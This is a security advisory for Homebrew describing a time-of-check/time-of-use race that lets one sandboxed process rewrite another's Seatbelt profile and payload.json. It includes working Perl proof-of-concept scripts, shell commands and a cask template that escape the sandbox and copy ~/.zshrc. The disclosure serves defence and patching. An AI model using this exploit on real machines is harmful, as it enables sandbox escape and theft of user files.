Skip to content

macOS Sandbox escape through TOCTOU on homebrew.sb and payload.json files

Moderate
MikeMcQuaid published GHSA-ccgw-4xcq-vgr6 Sep 15, 2026

Package

No package listed

Affected versions

<= 7.0.1

Patched versions

7.0.2

Description

Summary

Homebrew sandbox creates its Seatbelt profile file on /tmp/s-[random]/homebrew.sb and it's command instructions in the /tmp/homebrew-cask-sandbox[date]-[pid]-[random]/payload.json file. Homebrew takes the commands defined inside payload.json and runs them under the seatbelt profile defined in homebrew.sb.
Homebrew, never verifies those files are not changed between write and read, thus resulting with a TOCTOU attack (Time of check time of use).
As a result, a Sandboxed process created by Homebrew grants write permission to /tmp/, this means that one malicious sandbox may attempt to monitor and modify /tmp/ for homebrew.sb and payload.json files. More specifically, the malicious sandbox process will attempt to modify the Seatbelt profile to allow all and the payload.json file to the commands it wants to run outside the sandbox thus escaping the sandbox gaining arbitrary access to the user's files.

In addition, other product's sandboxes that grants permission to /tmp/ may escape their sandbox by monitoring the /tmp/ directory until those files are created and then attempting to modify those Homebrew's files to bypass the profile and change the payload.json file to run their own arbitrary malicious code.

Details

All references are from 7.0.1-15-g82ea9cb. The sandboxed process is created by the Library/Homebrew/sandbox.rb run function as follows:

def run(*args, passthrough_stdin: true, child_message_handler: nil, retain_tmp: false, debug: false)
    Mktemp.new("sandbox", retain: retain_tmp, compact: true).run(chdir: false) do |staging|
      temporary = staging.tmpdir
      raise "Sandbox temporary directory is unexpectedly unset." if temporary.nil?

      tmpdir = temporary.to_s
      allow_write_path(tmpdir)
      allow_network path: tmpdir, type: :subpath
      @start = T.let(Time.now, T.nilable(Time))

      begin
        command = sandbox_command(args, tmpdir)
        ... <--- Time for attacker to attempt to change the profile configuration file 
        exec(env, *command, in: worker, out: worker, err: worker) # And map everything to the PTY.
        ...

Where the Mktemp.new line creates the /private/tmp/s-XXXXXXX temporary directory, the sandbox_command writes the profile to. Notice, the time between the call to sandbox_command and the call to exec is the time the attacker have to modify the homebrew.sb profile file.

Similarly, the payload.json is created by the run_cask_sandbox function and loaded by Library/Homebrew/cask_artifact.rb from inside the sandbox.

Due to this behaviour of write and then load with no verification, it is possible to modify those files, win the race and run arbitrary commands outside the sandbox.

To take advantage of this issue, one more primitive is required, we need to be able to start 2 sandboxed processes, the first one remains running in the background, waiting for the second one to run, replacing it's corresponding homebrew.sb and payload.json file with allow all in profile and our malicious command in payload.json.

Indeed, this is possible, a sandboxed process that executes fork() followed by a call to setsid() inside the child process results with a background process that outlives its parent.

From here, all we need is two consecutive sandboxed processes, the first one the monitor and the second one can be arbitrary as it would have its homebrew.sb replaced by the monitor. The second process does not need to come from the same package or even the same brew invocation - any later sandboxed brew phase on the machine works as the victim.

PoC Without Cask

To reproduce the attack escaping the sandbox, create the following two files:
daemonise.pl

use POSIX qw(setsid);

exit 0 if fork();          # parent returns at once so the phase can finish
setsid();                  # new session, no controlling terminal: immune to the phase-end SIGHUP
open(STDIN, '<', '/dev/null');
# Set POC_DAEMON_LOG to keep the detached process's output for debugging;
# otherwise discard it as a real payload would.
my $out = $ENV{POC_DAEMON_LOG} || '/dev/null';
open(STDOUT, '>>', $out);
open(STDERR, '>>', $out);
exec @ARGV;

poller.pl

use strict;
use warnings;
use JSON::PP;

my ($W, $MODE, $REAL_HOME) = @ARGV;
die "usage: poller.pl <workdir> <control|attack> <real-home>\n" unless @ARGV == 3;
my $attack = $MODE eq 'attack';
my $TMP    = '/private/tmp';
my $LOG    = "$W/poller.log";

sub logmsg { open my $f, '>>', $LOG or return; print $f "@_\n" }

# Atomic replace via rename: the consumer never sees a partial file.
sub swap {
    my ($path, $body) = @_;
    (my $dir = $path) =~ s{/[^/]+$}{};
    open my $o, '>', "$dir/.stage" or return 0;
    print $o $body;
    close $o;
    rename "$dir/.stage", $path or return 0;
    return 1;
}

# Replace the step list, keeping action/context/phase so
# Cask::InstallStepsContext still constructs (cask_artifact.rb:84).
sub rewrite_payload {
    my ($path) = @_;
    open my $f, '<', $path or return 0;
    my $payload = eval { JSON::PP->new->decode(do { local $/; <$f> }) } or return 0;
    $payload->{steps} = [{
        type    => 'run',
        command => { path => '/bin/sh' },
        args    => ['-c', join(';',
            'echo "--- injected step running, euid=$(id -u) ---"',
            qq{echo escaped > "$REAL_HOME/test" && echo "WRITE-OK $REAL_HOME/test" || echo "WRITE-DENIED $REAL_HOME/test"},
            qq{cp "$REAL_HOME/.zshrc" "$W/stolen-zshrc" && echo "READ-OK $REAL_HOME/.zshrc" || echo "READ-DENIED $REAL_HOME/.zshrc"},
            '/usr/bin/open -a Calculator 2>/dev/null && echo "CALC-LAUNCHED" || echo "CALC-DENIED"')],
        print_stdout => JSON::PP::true,
    }];
    return 0 unless swap $path, JSON::PP->new->canonical->encode($payload);
    logmsg "rewrote $path (phase=" . ($payload->{phase} // '?') . ")";
    return 1;
}

sub replace_profile {
    my ($path) = @_;
    return 0 unless swap $path, "(version 1)\n(allow default)\n";
    logmsg "replaced $path with (allow default)";
    return 1;
}

# Ignore our own phase's dirs; only dirs created after arming are targets.
my @pre = (glob("$TMP/homebrew-cask-sandbox*"), glob("$TMP/homebrew-sandbox*"), glob("$TMP/s-*"));
my %seen = map { $_ => 1 } @pre;
logmsg "armed mode=$MODE pid=$$ ppid=" . getppid() . ", ignoring " . @pre . " pre-existing dirs";

my ($payload_ok, $profile_ok, $polls) = (0, $attack ? 0 : 1, 0);
my $deadline = time + 180;

# Busy-poll: the homebrew.sb window closes at sandbox-exec's read, so no sleep.
while (time < $deadline && !($payload_ok && $profile_ok)) {
    $polls++;
    if (!$payload_ok) {
        for my $d (glob("$TMP/homebrew-cask-sandbox*")) {
            next if $seen{$d} || !-s "$d/payload.json";
            last if $payload_ok = rewrite_payload "$d/payload.json";
        }
    }
    if ($attack && !$profile_ok) {
        for my $d (glob("$TMP/homebrew-sandbox*"), glob("$TMP/s-*")) {
            next if $seen{$d} || !-s "$d/homebrew.sb";
            last if $profile_ok = replace_profile "$d/homebrew.sb";
        }
    }
}
logmsg "done after $polls polls: payload=$payload_ok profile=$profile_ok"

Running the attack Using the brew sandbox-exec command, this command doesn't create the payload.json file which is created only by the cask, but it shows that the profile can be easily modified. Before running make sure ~/test file doesn't exist in your home directory:

W=/private/tmp/sbx      # under HOMEBREW_TEMP, so the sandboxed phases may write here
mkdir -p $W/writable
cp daemonise.pl poller.pl $W/    # absolute paths are required below: the sandboxed
                                 # command runs with its cwd changed to the writable path

cat > $W/probe.sh <<'EOF'
echo "--- victim phase running, euid=$(id -u) ---"
echo escaped > "$HOME/test" && echo "WRITE-OK $HOME/test" || echo "WRITE-DENIED $HOME/test"
cp "$HOME/.zshrc" /private/tmp/sbx/stolen-zshrc && echo "READ-OK $HOME/.zshrc" || echo "READ-DENIED $HOME/.zshrc"
open -a Calculator 2>/dev/null && echo "CALC-LAUNCHED" || echo "CALC-DENIED"
echo ctl-ok > /private/tmp/sbx/ctl-ok && echo "CTL-OK (positive control)"
EOF

# attack:
rm -f "$HOME/test" $W/stolen-zshrc $W/poller.log $W/daemon.log
POC_DAEMON_LOG=$W/daemon.log brew sandbox-exec $W/writable -- \
  /usr/bin/perl $W/daemonise.pl /usr/bin/perl $W/poller.pl $W attack "$HOME"
brew sandbox-exec $W/writable -- /bin/sh $W/probe.sh
cat $W/poller.log
pkill -f poller.pl

Attack success output:

WRITE-OK ~/test, READ-OK ~/.zshrc, CALC-LAUNCHED, CTL-OK
poller.log: replaced /private/tmp/s-XXXXXXXX/homebrew.sb with (allow default)

Notes:

  • After running the POC run pkill -f poller.pl: without a cask no payload.json ever appears, so the poller would keep polling until its 180s deadline.
  • Swapping the payload.json is not demonstrated in this POC without cask.
  • Notice that simply running brew sandbox-exec $W/writable -- /bin/sh $W/probe.sh doesn't open a calculator and doesn't create the test file which are denied under the sandbox.

PoC With Cask

In this section, we show how it is possible to escape the sandbox with a cask by starting two sandboxed processes, one is the poller from the before and the second one is arbitrary and will be modified by the poller during runtime.

Create a third file sbtest-race.rb.tpl next to daemonise.pl and poller.pl:

cask "sbtest-race" do
  version "1.0.0"
  sha256 "@SHA256@"

  url "@URL@"
  name "Sandbox Two-Phase Race"
  desc "Local cask demonstrating a sandbox profile race between two install phases"
  homepage "https://example.invalid/sbtest-race"

  # Phase 1: plant the poller. {{staged_path}} is where brew extracted the zip.
  preflight_steps do
    run "/bin/sh",
        args:         ["-c",
                       "/usr/bin/perl {{staged_path}}/daemonise.pl " \
                       "/usr/bin/perl {{staged_path}}/poller.pl @W@ @MODE@ @HOME@"],
        env:          { "POC_DAEMON_LOG" => "@W@/daemon.log" },
        print_stdout: true
  end

  # Phase 2: the victim. The poller replaces this step in payload.json before
  # the sandboxed child reads it, so this benign echo never executes.
  postflight_steps do
    run "/bin/echo",
        args:         ["benign postflight step: this is all the cask actually declares"],
        print_stdout: true
  end
end

Then, from the directory containing the three files, install the cask:

TAP=$(brew --repo)/Library/Taps/sbrace/homebrew-poc
mkdir -p $TAP/Casks /private/tmp/sbrace          # a tap is just a directory
zip -q -X /private/tmp/sbrace/race.zip daemonise.pl poller.pl
SHA=$(shasum -a 256 /private/tmp/sbrace/race.zip | awk '{print $1}')
sed -e "s|@SHA256@|$SHA|" -e "s|@URL@|file:///private/tmp/sbrace/race.zip|" \
    -e "s|@MODE@|attack|" -e "s|@W@|/private/tmp/sbrace|g" -e "s|@HOME@|$HOME|g" \
  sbtest-race.rb.tpl > $TAP/Casks/sbtest-race.rb
rm -f "$HOME/test" /private/tmp/sbrace/poller.log /private/tmp/sbrace/daemon.log /private/tmp/sbrace/stolen-zshrc
brew trust --cask sbrace/poc/sbtest-race
brew install --cask sbrace/poc/sbtest-race
cat /private/tmp/sbrace/poller.log

The brew install --cask command runs two consecutive sandboxed phases: preflight_steps plants the poller, postflight_steps is the victim. The poller rewrites the victim's payload.json step list and swaps its homebrew.sb, so the command that actually runs in the second sandbox uses an allow all seatbelt profile and runs the injected code instead of the cask's declared step.

Attack success output:

armed mode=attack pid=... ppid=1, ignoring 2 pre-existing dirs
rewrote /private/tmp/homebrew-cask-sandbox[date]-[pid]-[rand]/payload.json (phase=install)
replaced /private/tmp/s-XXXXXXXX/homebrew.sb with (allow default)
done after N polls: payload=1 profile=1

Notes:

  • Cleanup: brew uninstall --cask sbrace/poc/sbtest-race --force && rm -f "$TAP/Casks/sbtest-race.rb" "$HOME/test" && rm -rf /private/tmp/sbrace

Impact

  1. Full sandbox escape as the invoking user. Every path explicitly denied (e.g., ~/.ssh, ~/.aws) is accessible. Every path the invoking user have access two becomes writeable. It also bypass the deny mach-lookup rules and any other rules originally created in the Seatbelt profile.
  2. Homebrew may be used as a confused deputy: any other product that grants write permissions to /tmp/ can plant the poller and escape through the next brew command that calls run_cask_sandbox. This is how I originally found the issue - I noticed /tmp/ is granted to my researched product and monitored the directory using fswatch identifying the homebrew files that were created and deleted during an upgrade.

Suggested Mitigations

  1. Don't write homebrew.sb Seatbelt profile to disk. Instead, pass the profile to sandbox-exec command using the -p argument. This change will make sure that nothing can modify the Sandbox profile.
  2. Don't write payload.json to disk and then load it. Instead pass it as an argument to the sandboxed process.

AI Usage Disclosure

All scripts used for the POCs were created using AI and verified manually.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits